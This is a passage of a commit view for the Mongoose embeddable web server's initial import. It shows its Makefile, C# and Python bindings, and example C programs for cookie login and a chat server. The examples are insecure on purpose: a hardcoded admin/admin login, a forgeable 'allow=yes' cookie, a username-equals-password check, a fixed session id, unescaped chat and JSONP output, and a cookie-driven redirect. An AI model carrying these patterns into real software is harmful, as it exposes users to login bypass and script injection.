Переглянути джерело

Initial import - converting from Subversion.

Sergey Lyubka 15 роки тому
коміт
a69a2da39d

+ 97 - 0
Makefile

@@ -0,0 +1,97 @@
+# This file is part of Mongoose project, http://code.google.com/p/mongoose
+# $Id: Makefile 473 2009-09-02 11:20:06Z valenok $
+
+PROG=	mongoose
+
+all:
+	@echo "make (linux|bsd|solaris|mac|windows|mingw)"
+
+# Possible COPT values: (in brackets are rough numbers for 'gcc -O2' on i386)
+# -DHAVE_MD5		- use system md5 library (-2kb)
+# -DNDEBUG		- strip off all debug code (-5kb)
+# -DDEBUG		- build debug version (very noisy) (+7kb)
+# -DNO_CGI		- disable CGI support (-5kb)
+# -DNO_SSL		- disable SSL functionality (-2kb)
+# -DCONFIG_FILE=\"file\" - use `file' as the default config file
+# -DNO_SSI		- disable SSI support (-4kb)
+# -DHAVE_STRTOUI64	- use system strtoui64() function for strtoull()
+
+
+##########################################################################
+###                 UNIX build: linux, bsd, mac, rtems
+##########################################################################
+
+CFLAGS=		-W -Wall -std=c99 -pedantic -Os -fomit-frame-pointer $(COPT)
+MAC_SHARED=	-flat_namespace -bundle -undefined suppress
+LINFLAGS=	-D_POSIX_SOURCE -D_BSD_SOURCE -D_FILE_OFFSET_BITS=64 \
+		-D_LARGEFILE_SOURCE -ldl -lpthread $(CFLAGS)
+LIB=		_$(PROG).so
+
+linux:
+	$(CC) $(LINFLAGS) mongoose.c -shared -fPIC -fpic -s -o $(LIB)
+	$(CC) $(LINFLAGS) mongoose.c main.c -s -o $(PROG)
+
+bsd:
+	$(CC) $(CFLAGS) mongoose.c -shared -lpthread -s -fpic -fPIC -o $(LIB)
+	$(CC) $(CFLAGS) mongoose.c main.c -lpthread -s -o $(PROG)
+
+mac:
+	$(CC) $(CFLAGS) $(MAC_SHARED) mongoose.c -lpthread -o $(LIB)
+	$(CC) $(CFLAGS) mongoose.c main.c -lpthread -o $(PROG)
+
+solaris:
+	gcc $(CFLAGS) mongoose.c -lpthread -lnsl \
+		-lsocket -s -fpic -fPIC -shared -o $(LIB)
+	gcc $(CFLAGS) mongoose.c main.c -lpthread -lnsl -lsocket -s -o $(PROG)
+
+
+##########################################################################
+###            WINDOWS build: Using Visual Studio or Mingw
+##########################################################################
+
+# Using Visual Studio Express
+# 1. Download and install Visual Studio Express 2008 to c:\msvc8
+# 2. Download and install Windows SDK to c:\sdk
+# 3. Go to c:\msvc8\vc\bin and start "VIsual Studio 2008 Command prompt"
+#    (or Itanium/amd64 command promt to build x64 version)
+# 4. In the command prompt, go to mongoose directory and do "nmake windows"
+
+#WINDBG=	/Zi /DDEBUG /Od /DDEBUG
+WINDBG=	/DNDEBUG /Os
+WINFLAGS=	/MT /TC /nologo /W4 $(WINDBG) 
+windows:
+	cl $(WINFLAGS) mongoose.c /link /incremental:no /DLL \
+		/DEF:win32\dll.def /out:_$(PROG).dll ws2_32.lib
+	cl $(WINFLAGS) mongoose.c main.c /link /incremental:no \
+		/out:$(PROG).exe ws2_32.lib
+
+# Build for Windows under MinGW
+#MINGWDBG= -DDEBUG -O0
+MINGWDBG= -DNDEBUG -Os
+MINGWOPT= -W -Wall -mthreads -Wl,--subsystem,console $(MINGWDBG) -DHAVE_STDINT
+mingw:
+	gcc $(MINGWOPT) mongoose.c -lws2_32 \
+		-shared -Wl,--out-implib=$(PROG).lib -o _$(PROG).dll
+	gcc $(MINGWOPT) mongoose.c main.c -lws2_32 -ladvapi32 -o $(PROG).exe
+
+
+##########################################################################
+###            Manuals, cleanup, test, release
+##########################################################################
+
+man:
+	cat mongoose.1 | tbl | groff -man -Tascii | col -b > mongoose.1.txt
+	cat mongoose.1 | tbl | groff -man -Tascii | less
+
+# "TEST=unit make test" - perform unit test only
+# "TEST=embedded" - test embedded API by building and testing test/embed.c
+# "TEST=basic_tests" - perform basic tests only (no CGI, SSI..)
+test: do_test
+do_test:
+	perl test/test.pl $(TEST)
+
+release: clean
+	F=mongoose-`perl -lne '/define\s+MONGOOSE_VERSION\s+"(\S+)"/ and print $$1' mongoose.c`.tgz ; cd .. && tar --exclude \*.svn --exclude \*.swp --exclude \*.nfs\* --exclude win32 -czf x mongoose && mv x mongoose/$$F
+
+clean:
+	rm -rf *.o *.core $(PROG) *.obj $(PROG).1.txt *.dSYM *.tgz

+ 52 - 0
bindings/csharp/example.cs

@@ -0,0 +1,52 @@
+// This is C# example on how to use Mongoose embeddable web server,
+// http://code.google.com/p/mongoose
+//
+// Before using the mongoose module, make sure that Mongoose shared library is
+// built and present in the current (or system library) directory
+
+using System;
+using System.Runtime.InteropServices;
+
+public class Program {
+
+	// This function is called when user types in his browser http://127.0.0.1:8080/foo
+	static private void UriHandler(MongooseConnection conn, MongooseRequestInfo ri) {
+		conn.write("HTTP/1.1 200 OK\r\n\r\n");
+		conn.write("Hello from C#!\n");
+		conn.write("Your user-agent is: " + conn.get_header("User-Agent") + "\n");
+	}
+
+    static private void UriDumpInfo(MongooseConnection conn, MongooseRequestInfo ri)
+    {
+        conn.write("HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n");
+        conn.write("<html><body><head>Calling Info</head>");
+        conn.write("<p>Request: " + ri.request_method + "</p>");
+        conn.write("<p>URI: " + ri.uri + "</p>");
+        conn.write("<p>Query: " + ri.query_string + "</p>");
+        if (ri.post_data_len > 0) conn.write("<p>Post(" + ri.post_data_len + ")[@" + ri.post_data + "]: '" + Marshal.PtrToStringAnsi(ri.post_data) + "'</p>");
+        conn.write("<p>User:" + ri.remote_user + "</p>");
+        conn.write("<p>IP: " + ri.remote_ip + "</p>");
+        conn.write("<p>HTTP: " + ri.http_version + "</p>");
+        conn.write("<p>Port: " + ri.remote_port + "</p>");
+        conn.write("<p>NUM Headers: " + ri.num_headers + "</p>");
+        for (int i = 0; i < Math.Min(64, ri.num_headers); i++)
+        {
+            conn.write("<p>" + i + ":" + Marshal.PtrToStringAnsi(ri.http_headers[i].name)
+                + ":" + Marshal.PtrToStringAnsi(ri.http_headers[i].value) + "</p>");
+        }
+        conn.write("</body></html>");
+    }
+
+	static void Main() {
+		Mongoose web_server = new Mongoose();
+
+		// Set options and /foo URI handler
+		web_server.set_option("ports", "8080");
+		web_server.set_option("root", "c:\\");
+		web_server.set_uri_callback("/foo", new MongooseCallback(UriHandler));
+        web_server.set_uri_callback("/dumpinfo", new MongooseCallback(UriDumpInfo));
+
+		// Serve requests until user presses "enter" on a keyboard
+		Console.ReadLine();
+	}
+}

+ 134 - 0
bindings/csharp/mongoose.cs

@@ -0,0 +1,134 @@
+//  Copyright (c) 2004-2009 Sergey Lyubka
+//
+//  Permission is hereby granted, free of charge, to any person obtaining a copy
+//  of this software and associated documentation files (the "Software"), to deal
+//  in the Software without restriction, including without limitation the rights
+//  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+//  copies of the Software, and to permit persons to whom the Software is
+//  furnished to do so, subject to the following conditions:
+//
+//  The above copyright notice and this permission notice shall be included in
+//  all copies or substantial portions of the Software.
+//
+//  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+//  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+//  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+//  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+//  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+//  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+//  THE SOFTWARE.
+//
+//  $Id: mongoose.cs 472 2009-08-30 22:40:29Z spsone1 $
+
+using System;
+using System.Runtime.InteropServices;
+
+
+[StructLayout(LayoutKind.Sequential)] public struct MongooseHeader {
+	public IntPtr	name;		// Using IntPtr here because if we use strings here,
+	public IntPtr	value;		// it won't be properly marshalled.
+};
+
+// This is "struct mg_request_info" from mongoose.h header file
+[StructLayout(LayoutKind.Sequential)] public struct MongooseRequestInfo {
+	public string	request_method;
+	public string	uri;
+	public string	http_version;
+	public string	query_string;
+	public IntPtr	post_data;
+	public string	remote_user;
+	public int	remote_ip; //int to match the 32bit declaration in c
+	public int	remote_port;
+	public int	post_data_len;
+	public int	status_code;
+	public int	num_headers;
+	[MarshalAs(UnmanagedType.ByValArray,SizeConst=64)] public MongooseHeader[] http_headers;
+};
+
+// This is a delegate for mg_callback_t from mongoose.h header file
+[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+public delegate void MongooseCallback2(IntPtr conn, ref MongooseRequestInfo ri, IntPtr user_data);
+
+// This is a delegate to be used by the application
+public delegate void MongooseCallback(MongooseConnection conn, MongooseRequestInfo ri);
+
+public class Mongoose {
+	public string version;
+	private IntPtr ctx;
+    	//These two events are here to store a ref to the callbacks while they are over in unmanaged code. 
+    	private event MongooseCallback2 delegates2;
+    	private event MongooseCallback delegates1;
+
+	[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern IntPtr	mg_start();
+	[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void	mg_stop(IntPtr ctx);
+	[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string	mg_version();
+	[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern int	mg_set_option(IntPtr ctx, string name, string value);
+	[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string	mg_get_option(IntPtr ctx, string name);
+	[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void	mg_set_uri_callback(IntPtr ctx, string uri_regex, MulticastDelegate func, IntPtr data);
+	[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void	mg_set_log_callback(IntPtr ctx, MulticastDelegate func);
+
+	public Mongoose() {
+		ctx = mg_start();
+		version = mg_version();
+	}
+
+	~Mongoose() {
+		mg_stop(this.ctx);
+		this.ctx = IntPtr.Zero;
+	}
+
+	public int set_option(string option_name, string option_value) {
+		return mg_set_option(this.ctx, option_name, option_value);
+	}
+
+	public string get_option(string option_name) {
+		return mg_get_option(this.ctx, option_name);
+	}
+
+	public void set_uri_callback(string uri_regex, MongooseCallback func) {
+		// Build a closure around user function. Initialize connection object there which wraps
+		// mg_write() and other useful methods, and then call user specified handler.
+		MongooseCallback2 callback = delegate(IntPtr conn, ref MongooseRequestInfo ri, IntPtr user_data) {
+			MongooseConnection connection = new MongooseConnection(conn, this);
+			func(connection, ri);
+		};
+        	// store a reference to the callback so it won't be GC'ed while its over in unmanged code
+        	delegates2 += callback;
+		mg_set_uri_callback(this.ctx, uri_regex, callback, IntPtr.Zero);
+	}
+	
+	public void set_log_callback(MongooseCallback func) {
+		delegates1 += func;
+		mg_set_log_callback(this.ctx, func);
+	}
+}
+
+public class MongooseConnection {
+	public Mongoose	mongoose;
+	private IntPtr conn;
+
+	[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string	mg_get_header(IntPtr ctx, string name);
+	[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string	mg_get_var(IntPtr ctx, string name);
+	[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void	mg_free(IntPtr ptr);
+	[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] public static extern int	mg_write(IntPtr conn, string data, int length);
+
+	public MongooseConnection(IntPtr conn_, Mongoose mongoose_) {
+		mongoose = mongoose_;
+		conn = conn_;
+	}
+
+	public string get_header(string header_name) {
+		return mg_get_header(this.conn, header_name);
+	}
+
+	public string get_var(string header_name) {
+		string s = mg_get_var(this.conn, header_name);
+		string copy = "" + s;
+		mg_free(Marshal.StringToHGlobalAnsi(s));
+		return copy;
+	}
+
+	public int write(string data) {
+		return mg_write(this.conn, data, data.Length);
+	}
+}

+ 49 - 0
bindings/python/example.py

@@ -0,0 +1,49 @@
+# This is Python example on how to use Mongoose embeddable web server,
+# http://code.google.com/p/mongoose
+#
+# Before using the mongoose module, make sure that Mongoose shared library is
+# built and present in the current (or system library) directory
+
+import mongoose
+import sys
+
+# This function is a "/foo" URI handler: it will be called each time
+# HTTP request to http://this_machine:8080/foo made.
+# It displays some request information.
+def uri_handler(conn, info, data):
+	conn.printf('%s', 'HTTP/1.0 200 OK\r\n')
+	conn.printf('%s', 'Content-Type: text/plain\r\n\r\n')
+	conn.printf('%s %s\n', info.request_method, info.uri)
+	conn.printf('my_var: %s\n', conn.get_var('my_var') or '<not set>')
+	conn.printf('HEADERS: \n')
+	for header in info.http_headers[:info.num_headers]:
+		conn.printf('  %s: %s\n', header.name, header.value)
+
+# This function is 404 error handler: it is called each time requested
+# document is not found by the server.
+def error_404_handler(conn, info, data):
+	conn.printf('%s', 'HTTP/1.0 200 OK\r\n')
+	conn.printf('%s', 'Content-Type: text/plain\r\n\r\n')
+	conn.printf('Document %s not found!\n', info.uri)
+
+# Create mongoose object, and register '/foo' URI handler
+# List of options may be specified in the contructor
+server = mongoose.Mongoose(root='/tmp', ports='8080')
+
+# Register custom URI and 404 error handler
+server.set_uri_callback('/foo', uri_handler, 0)
+server.set_error_callback(404, error_404_handler, 0)
+
+# Any option may be set later on by setting an attribute of the  server object
+server.ports = '8080,8081'   # Listen on port 8081 in addition to 8080
+
+# Mongoose options can be retrieved by asking an attribute
+print 'Starting Mongoose %s on port(s) %s ' % (server.version, server.ports)
+print 'CGI extensions: %s' % server.cgi_ext
+
+# Serve connections until 'enter' key is pressed on a console
+sys.stdin.read(1)
+
+# Deleting server object stops all serving threads
+print 'Stopping server.'
+del server

+ 177 - 0
bindings/python/mongoose.py

@@ -0,0 +1,177 @@
+#  Copyright (c) 2004-2009 Sergey Lyubka
+#
+#  Permission is hereby granted, free of charge, to any person obtaining a copy
+#  of this software and associated documentation files (the "Software"), to deal
+#  in the Software without restriction, including without limitation the rights
+#  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+#  copies of the Software, and to permit persons to whom the Software is
+#  furnished to do so, subject to the following conditions:
+#
+#  The above copyright notice and this permission notice shall be included in
+#  all copies or substantial portions of the Software.
+#
+#  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+#  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+#  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+#  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+#  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+#  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+#  THE SOFTWARE.
+#
+#  $Id: mongoose.py 471 2009-08-30 14:30:21Z valenok $
+
+"""
+This module provides python binding for the Mongoose web server.
+
+There are two classes defined:
+
+  Connection: - wraps all functions that accept struct mg_connection pointer
+    as first argument
+
+  Mongoose: wraps all functions that accept struct mg_context pointer as
+    first argument. All valid option names, settable via mg_set_option(),
+    are settable/gettable as the attributes of the Mongoose object.
+    In addition to those, two attributes are available:
+       'version': string, contains server version
+       'options': array of all known options.
+
+  Creating Mongoose object automatically starts server, deleting object
+  automatically stops it. There is no need to call mg_start() or mg_stop().
+"""
+
+
+import ctypes
+import os
+
+
+class mg_header(ctypes.Structure):
+	"""A wrapper for struct mg_header."""
+	_fields_ = [
+		('name', ctypes.c_char_p),
+		('value', ctypes.c_char_p),
+	]
+
+
+class mg_request_info(ctypes.Structure):
+	"""A wrapper for struct mg_request_info."""
+	_fields_ = [
+		('request_method', ctypes.c_char_p),
+		('uri', ctypes.c_char_p),
+		('http_version', ctypes.c_char_p),
+		('query_string', ctypes.c_char_p),
+		('post_data', ctypes.c_char_p),
+		('remote_user', ctypes.c_char_p),
+		('remote_ip', ctypes.c_long),
+		('remote_port', ctypes.c_int),
+		('post_data_len', ctypes.c_int),
+		('status_code', ctypes.c_int),
+		('num_headers', ctypes.c_int),
+		('http_headers', mg_header * 64),
+	]
+
+
+class Connection(object):
+	"""A wrapper class for all functions that take
+	struct mg_connection * as the first argument."""
+
+	def __init__(self, mongoose, connection):
+		self.m = mongoose
+		self.conn = connection
+
+	def get_header(self, name):
+		val = self.m.dll.mg_get_header(self.conn, name)
+		return ctypes.c_char_p(val).value
+
+	def get_var(self, name):
+		var = None
+		pointer = self.m.dll.mg_get_var(self.conn, name)
+		if pointer:
+			# Make a copy and free() the returned pointer
+			var = '' + ctypes.c_char_p(pointer).value
+			self.m.dll.mg_free(pointer)
+		return var
+
+	def printf(self, fmt, *args):
+		val = self.m.dll.mg_printf(self.conn, fmt, *args)
+		return ctypes.c_int(val).value
+
+	def write(self, data):
+		val = self.m.dll.mg_write(self.conn, data, len(data))
+		return ctypes.c_int(val).value
+
+
+class Mongoose(object):
+	"""A wrapper class for Mongoose shared library."""
+
+	# Exceptions for __setattr__ and __getattr__: these attributes
+	# must not be treated as Mongoose options
+	_private = ('dll', 'ctx', 'version', 'callbacks')
+
+	def __init__(self, **kwargs):
+		dll_extension = os.name == 'nt' and 'dll' or 'so'
+		self.dll = ctypes.CDLL('_mongoose.%s' % dll_extension)
+		start = self.dll.mg_start
+		self.ctx = ctypes.c_voidp(self.dll.mg_start()).value
+		self.version = ctypes.c_char_p(self.dll.mg_version()).value
+		self.callbacks = []
+		for name, value in kwargs.iteritems():
+			self.__setattr__(name, value)
+
+	def __setattr__(self, name, value):
+		"""Set Mongoose option. Raises ValueError in option not set."""
+		if name in self._private:
+			object.__setattr__(self, name, value)
+		else:
+			code = self.dll.mg_set_option(self.ctx, name, value)
+			if code != 1:
+				raise ValueError('Cannot set option [%s] '
+						 'to [%s]' % (name, value))
+
+	def __getattr__(self, name):
+		"""Get Mongoose option."""
+		if name in self._private:
+			return object.__getattr__(self, name)
+		else:
+			val = self.dll.mg_get_option(self.ctx, name)
+			return ctypes.c_char_p(val).value
+
+	def __del__(self):
+		"""Destructor, stop Mongoose instance."""
+		self.dll.mg_stop(self.ctx)
+
+	def _make_c_callback(self, python_callback):
+		"""Return C callback from given Python callback."""
+
+		# Create a closure that will be called by the  shared library.
+		def _cb(connection, request_info, user_data):
+			# Wrap connection pointer into the connection
+			# object and call Python callback
+			conn = Connection(self, connection)
+			python_callback(conn, request_info.contents, user_data)
+
+		# Convert the closure into C callable object
+		c_callback = ctypes.CFUNCTYPE(ctypes.c_voidp, ctypes.c_voidp,
+			ctypes.POINTER(mg_request_info), ctypes.c_voidp)(_cb)
+
+		# Store created callback in the list, so it is kept alive
+		# during context lifetime. Otherwise, python can garbage
+		# collect it, and C code will crash trying to call it.
+		self.callbacks.append(c_callback)
+
+		return c_callback
+
+	def set_uri_callback(self, uri_regex, python_callback, user_data):
+		self.dll.mg_set_uri_callback(self.ctx, uri_regex,
+			self._make_c_callback(python_callback), user_data)
+
+	def set_auth_callback(self, uri_regex, python_callback, user_data):
+		self.dll.mg_set_auth_callback(self.ctx, uri_regex,
+			self._make_c_callback(python_callback), user_data)
+
+	def set_error_callback(self, error_code, python_callback, user_data):
+		self.dll.mg_set_error_callback(self.ctx, error_code,
+			self._make_c_callback(python_callback), user_data)
+	
+	def set_log_callback(self, python_callback):
+		self.dll.mg_set_log_callback(self.ctx,
+			self._make_c_callback(python_callback))

+ 8 - 0
examples/Makefile

@@ -0,0 +1,8 @@
+PROG=	chat
+CFLAGS=	-W -Wall -I.. -pthread -g
+
+all:
+	OS=`uname`; \
+	  test "$$OS" = Linux && LIBS="-ldl" ; \
+	  $(CC) $(CFLAGS) chat.c ../mongoose.c  $(LIBS) $(ADD) -o $(PROG) 
+	./$(PROG)

+ 106 - 0
examples/authentication.c

@@ -0,0 +1,106 @@
+#include <stdlib.h>
+#include <time.h>
+#include <string.h>
+#include <stdio.h>
+#include "mongoose.h"
+
+/*
+ * Cookie based authentication
+ * taken from http://en.wikipedia.org/wiki/HTTP_cookie#Authentication
+ *
+ * 1. The user inserts his or her username and password in the text fields
+ *    of a login page and sends them to the server;
+ * 2. The server receives the username and password and checks them; if
+ *    correct, it sends back a page confirming that login has been successful
+ *    together with a cookie containing a random session ID that coincides with
+ *    a session stored in a database. This cookie is usually made valid for
+ *    only the current browser session, however it may also be set to expire at
+ *    a future date. The random session ID is then provided on future visits
+ *    and provides a way for the server to uniquely identify the browser and
+ *    confirm that the browser already has an authenticated user.
+ * 3. Every time the user requests a page from the server, the browser
+ *    automatically sends the cookie back to the server; the server compares
+ *    the cookie with the stored ones; if a match is found, the server knows
+ *    which user has requested that page.
+ */
+
+static void
+login_page(struct mg_connection *conn,
+		const struct mg_request_info *ri, void *data)
+{
+	char		*name, *pass, uri[100];
+	const char	*cookie;
+
+	name = mg_get_var(conn, "name");
+	pass = mg_get_var(conn, "pass");
+	cookie = mg_get_header(conn, "Cookie");
+
+	/*
+	 * Here user name and password must be checked against some
+	 * database - this is step 2 from the algorithm described above.
+	 * This is an example, so hardcode name and password to be
+	 * admin/admin, and if this is so, set "allow=yes" cookie and
+	 * redirect back to the page where we have been redirected to login.
+	 */
+	if (name != NULL && pass != NULL &&
+	    strcmp(name, "admin") == 0 && strcmp(pass, "admin") == 0) {
+		if (cookie == NULL || sscanf(cookie, "uri=%99s", uri) != 1)
+			(void) strcpy(uri, "/");
+		/* Set allow=yes cookie, which is expected by authorize() */
+		mg_printf(conn, "HTTP/1.1 301 Moved Permanently\r\n"
+		    "Location: %s\r\n"
+		    "Set-Cookie: allow=yes;\r\n\r\n", uri);
+	} else {
+		/* Print login page */
+		mg_printf(conn, "HTTP/1.1 200 OK\r\n"
+		    "content-Type: text/html\r\n\r\n"
+		    "Please login (enter admin/admin to pass)<br>"
+		    "<form method=post>"
+		    "Name: <input type=text name=name></input><br/>"
+		    "Password: <input type=password name=pass></input><br/>"
+		    "<input type=submit value=Login></input>"
+		    "</form>");
+	}
+
+	if (name != NULL)
+		mg_free(name);
+	if (pass != NULL)
+		mg_free(pass);
+}
+
+static void
+authorize(struct mg_connection *conn,
+		const struct mg_request_info *ri, void *data)
+{
+	const char	*cookie, *domain;
+
+	cookie = mg_get_header(conn, "Cookie");
+
+	if (!strcmp(ri->uri, "/login")) {
+		/* Always authorize accesses to the login page */
+		mg_authorize(conn);
+	} else if (cookie != NULL && strstr(cookie, "allow=yes") != NULL) {
+		/* Valid cookie is present, authorize */
+		mg_authorize(conn);
+	} else {
+		/* Not authorized. Redirect to the login page */
+		mg_printf(conn, "HTTP/1.1 301 Moved Permanently\r\n"
+		    "Set-Cookie: uri=%s;\r\n"
+		    "Location: /login\r\n\r\n", ri->uri);
+	}
+}
+
+
+int
+main(int argc, char *argv[])
+{
+	struct mg_context *ctx;
+
+	ctx = mg_start();
+	mg_set_option(ctx, "ports", "8080");
+	mg_set_auth_callback(ctx, "/*", &authorize, NULL);
+	mg_set_uri_callback(ctx, "/login", &login_page, NULL);
+
+	for (;;)
+		sleep(1);
+}

+ 254 - 0
examples/chat.c

@@ -0,0 +1,254 @@
+/*
+ * This file is part of the Mongoose project, http://code.google.com/p/mongoose
+ * It implements an online chat server. For more details,
+ * see the documentation on project page.
+ * To start the server,
+ *  a) type "make" in the directory where this file lives
+ *  b) point your browser to http://127.0.0.1:8081
+ *
+ * NOTE(lsm): this file follows Google style, not BSD style as the rest of
+ * Mongoose code.
+ *
+ * $Id: chat.c 513 2010-05-03 11:06:08Z valenok $
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <assert.h>
+#include <string.h>
+#include <time.h>
+#include <pthread.h>
+
+#include "mongoose.h"
+
+static const char *login_url = "/login.html";
+static const char *authorize_url = "/authorize";
+static const char *web_root = "./html";
+static const char *http_ports = "8081,8082s";
+static const char *ssl_certificate = "ssl_cert.pem";
+
+static const char *ajax_reply_start =
+  "HTTP/1.1 200 OK\r\n"
+  "Cache: no-cache\r\n"
+  "Content-Type: application/x-javascript\r\n"
+  "\r\n";
+
+// Describes single message sent to a chat. If user is empty (0 length),
+// the message is then originated from the server itself.
+struct message {
+  long id;
+  char user[20];
+  char text[200];
+  time_t utc_timestamp;
+};
+
+static struct message messages[5];  // Ringbuffer where messages are kept
+static long last_message_id;
+static pthread_rwlock_t rwlock = PTHREAD_RWLOCK_INITIALIZER;
+
+// Get a get of messages with IDs greater than last_id and transform them
+// into a JSON string. Return that string to the caller. The string is
+// dynamically allocated, caller must free it. If there are no messages,
+// NULL is returned.
+static char *messages_to_json(long last_id) {
+  const struct message *message;
+  int max_msgs, len;
+  char buf[sizeof(messages)];  // Large enough to hold all messages
+
+  // Read-lock the ringbuffer. Loop over all messages, making a JSON string.
+  pthread_rwlock_rdlock(&rwlock);
+  len = 0;
+  max_msgs = sizeof(messages) / sizeof(messages[0]);
+  // If client is too far behind, return all messages.
+  if (last_message_id - last_id > max_msgs) {
+    last_id = last_message_id - max_msgs;
+  }
+  for (; last_id < last_message_id; last_id++) {
+    message = &messages[last_id % max_msgs];
+    if (message->utc_timestamp == 0) {
+      break;
+    }
+    // buf is allocated on stack and hopefully is large enough to hold all
+    // messages (it may be too small if the ringbuffer is full and all
+    // messages are large. in this case asserts will trigger).
+    len += snprintf(buf + len, sizeof(buf) - len,
+        "{user: '%s', text: '%s', timestamp: %lu, id: %lu},",
+        message->user, message->text, message->utc_timestamp, message->id);
+    assert(len > 0);
+    assert((size_t) len < sizeof(buf));
+  }
+  pthread_rwlock_unlock(&rwlock);
+
+  return len == 0 ? NULL : strdup(buf);
+}
+
+// If "callback" param is present in query string, this is JSONP call.
+// Return 1 in this case, or 0 if "callback" is not specified.
+// Wrap an output in Javascript function call.
+static int handle_jsonp(struct mg_connection *conn,
+    const struct mg_request_info *request_info) {
+  char cb[64];
+
+  mg_get_qsvar(request_info, "callback", cb, sizeof(cb));
+  if (cb[0] != '\0') {
+    mg_printf(conn, "%s(", cb);
+  }
+ 
+  return cb[0] == '\0' ? 0 : 1;
+}
+
+// A handler for the /ajax/get_messages endpoint.
+// Return a list of messages with ID greater than requested.
+static void ajax_get_messages(struct mg_connection *conn,
+    const struct mg_request_info *request_info) {
+  char last_id[32], *json;
+  int is_jsonp;
+
+  mg_printf(conn, "%s", ajax_reply_start);
+  is_jsonp = handle_jsonp(conn, request_info);
+
+  mg_get_qsvar(request_info, "last_id", last_id, sizeof(last_id));
+  if ((json = messages_to_json(strtoul(last_id, NULL, 10))) != NULL) {
+    mg_printf(conn, "[%s]", json);
+    free(json);
+  }
+
+  if (is_jsonp) {
+    mg_printf(conn, "%s", ")");
+  }
+}
+
+// A handler for the /ajax/send_message endpoint.
+static void ajax_send_message(struct mg_connection *conn,
+    const struct mg_request_info *request_info) {
+  struct message *message;
+  char text[sizeof(message->text) - 1];
+  int is_jsonp;
+
+  mg_printf(conn, "%s", ajax_reply_start);
+  is_jsonp = handle_jsonp(conn, request_info);
+
+  (void) mg_get_qsvar(request_info, "text", text, sizeof(text));
+  if (text[0] != '\0') {
+    // We have a message to store. Write-lock the ringbuffer,
+    // grab the next message and copy data into it.
+    pthread_rwlock_wrlock(&rwlock);
+    message = &messages[last_message_id %
+      (sizeof(messages) / sizeof(messages[0]))];
+    // TODO(lsm): JSON-encode all text strings
+    strncpy(message->text, text, sizeof(text));
+    strncpy(message->user, "joe", sizeof(message->user));
+    message->utc_timestamp = time(0);
+    message->id = last_message_id++;
+    pthread_rwlock_unlock(&rwlock);
+  }
+
+  mg_printf(conn, "%s", text[0] == '\0' ? "false" : "true");
+
+  if (is_jsonp) {
+    mg_printf(conn, "%s", ")");
+  }
+}
+
+// Redirect user to the login form. In the cookie, store the original URL
+// we came from, so that after the authorization we could redirect back.
+static void redirect_to_login(struct mg_connection *conn,
+    const struct mg_request_info *request_info) {
+  mg_printf(conn, "HTTP/1.1 302 Found\r\n"
+      "Set-Cookie: original_url=%s\r\n"
+      "Location: %s\r\n\r\n", request_info->uri, login_url);
+}
+
+// Return 1 if username/password is allowed, 0 otherwise.
+static int check_password(const char *user, const char *password) {
+  // In production environment we should ask an authentication system
+  // to authenticate the user.
+  // Here however we do trivial check: if username == password, allow.
+  return (strcmp(user, password) == 0 ? 1 : 0);
+}
+
+// A handler for the /authorize endpoint.
+// Login page form sends user name and password to this endpoint.
+static void authorize(struct mg_connection *conn,
+    const struct mg_request_info *request_info) {
+  char user[20], password[20], original_url[200];
+
+  // Fetch user name and password.
+  mg_get_qsvar(request_info, "user", user, sizeof(user));
+  mg_get_qsvar(request_info, "password", password, sizeof(password));
+  mg_get_cookie(conn, "original_url", original_url, sizeof(original_url));
+
+  if (user[0] && password[0] && check_password(user, password)) {
+    // Authentication success:
+    //   1. create new session
+    //   2. set session ID token in the cookie
+    //   3. remove original_url from the cookie - not needed anymore
+    //   4. redirect client back to the original URL
+    // TODO(lsm): implement sessions.
+    mg_printf(conn, "HTTP/1.1 302 Found\r\n"
+        "Set-Cookie: sid=1234; max-age=2h; http-only\r\n"  // Set session ID
+        "Set-Cookie: original_url=/; max_age=0\r\n"  // Delete original_url
+        "Location: %s\r\n\r\n", original_url[0] == '\0' ? "/" : original_url);
+  } else {
+    // Authentication failure, redirect to login again.
+    redirect_to_login(conn, request_info);
+  }
+}
+
+// Return 1 if request is authorized, 0 otherwise.
+static int is_authorized(const struct mg_connection *conn,
+    const struct mg_request_info *request_info) {
+  // TODO(lsm): implement this part: fetch session ID from the cookie.
+  return 0;
+}
+
+// Return 1 if authorization is required for requested URL, 0 otherwise.
+static int must_authorize(const struct mg_request_info *request_info) {
+  return (strcmp(request_info->uri, login_url) != 0 &&
+      strcmp(request_info->uri, authorize_url) != 0);
+}
+
+static int process_request(struct mg_connection *conn,
